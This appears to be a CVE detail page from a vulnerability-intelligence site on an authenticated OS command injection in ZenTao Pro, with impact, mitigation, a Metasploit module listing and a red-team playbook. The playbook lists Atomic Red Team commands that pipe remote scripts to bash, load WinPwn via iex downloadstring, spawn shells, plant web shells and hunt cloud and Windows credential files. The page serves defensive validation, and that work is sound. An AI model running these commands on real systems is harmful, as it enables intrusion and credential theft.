CVE-2020-7361
Overview
This vulnerability is an OS command injection in EasyCorp ZenTao Pro's '/pro/repo-create.html' component. The root cause is insufficient sanitization of the 'path' POST parameter, allowing arbitrary command injection. The flaw occurs within the authenticated dashboard interface, where user input is executed with elevated SYSTEM privileges on Windows.
Vulnerability Description
The EasyCorp ZenTao Pro application suffers from an OS command injection vulnerability in its '/pro/repo-create.html' component. After authenticating to the ZenTao dashboard, attackers may construct and send arbitrary OS commands via the POST parameter 'path', and those commands will run in an elevated SYSTEM context on the underlying Windows operating system.
Impact
An attacker with valid ZenTao Pro dashboard credentials can execute arbitrary commands on the underlying Windows server with SYSTEM privileges, enabling full control over the host. This can lead to unauthorized data access, system compromise, and lateral movement within the network. The vulnerability requires low attack complexity (AC:L) and privileges (PR:L), with no user interaction (UI:N), and impacts confidentiality and integrity at a high level (C:H/I:H).
Solution
Apply the patch provided by EasyCorp for ZenTao Pro as detailed in the Metasploit Framework pull request #13828, which addresses the command injection in the '/pro/repo-create.html' component. Users should update to the fixed version of ZenTao Pro immediately. Refer to the official EasyCorp ZenTao Pro advisories or the Metasploit Framework repository for specific patch instructions and version numbers.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the EasyCorp ZenTao Pro application is characterized by an OS command injection flaw within the '/pro/repo-create.html' component. This security weakness arises from improper validation of user input, specifically within the POST parameter 'path'. When authenticated users send requests to the ZenTao dashboard, they can manipulate this parameter to inject arbitrary operating system commands. The critical aspect of this vulnerability is that these commands execute with elevated SYSTEM privileges on the underlying Windows operating system, allowing an attacker to perform actions that could compromise the entire system.
Attack vectors for exploiting this vulnerability are straightforward yet highly effective. An attacker, having gained access to the ZenTao dashboard through legitimate authentication, can craft a malicious POST request that includes OS commands in the 'path' parameter. For example, an attacker could execute commands to create, modify, or delete files, install malicious software, or even escalate privileges further. The elevated privileges associated with the SYSTEM context mean that the attacker could potentially gain full control over the server, leading to a complete compromise of the system. This scenario underscores the critical need for robust input validation and sanitization mechanisms within web applications.
The real-world impact of this vulnerability is significant and poses substantial business risks. Organizations using the ZenTao Pro application could face severe consequences if exploited, including data breaches, loss of sensitive information, and disruption of services. The ability to execute arbitrary commands on a server can lead to unauthorized access to confidential data, manipulation of application logic, and potential data integrity issues. Furthermore, the reputational damage resulting from a successful attack could lead to loss of customer trust and financial repercussions, particularly if sensitive customer data is involved. The risk is exacerbated in environments where ZenTao Pro is used to manage critical projects or sensitive information.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and vulnerability scanning, can help identify potential weaknesses before they are exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests. It is also essential to enforce strict input validation and sanitization practices to ensure that user inputs do not lead to unintended command execution. Furthermore, organizations should consider applying the principle of least privilege, ensuring that the application runs with the minimum permissions necessary to function correctly, thereby limiting the potential damage from any exploitation.
In conclusion, the OS command injection vulnerability in the EasyCorp ZenTao Pro application represents a critical security risk that can have far-reaching consequences for affected organizations. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate such threats. Implementing robust security measures and maintaining a proactive security posture is essential to safeguarding sensitive information and maintaining operational integrity in the face of evolving cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Easycorp | Zentao Pro | All |
cpe:2.3:a:easycorp:zentao_pro:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
ZenTao Pro 8.8.2 Remote Code Execution
exploits/windows/http/zentao_pro_rce
|
Daniel Monzón, Melvin Boers, Erik Wynter | Unknown | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-7361 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/rapid7/metasploit-framework/pull/13828 |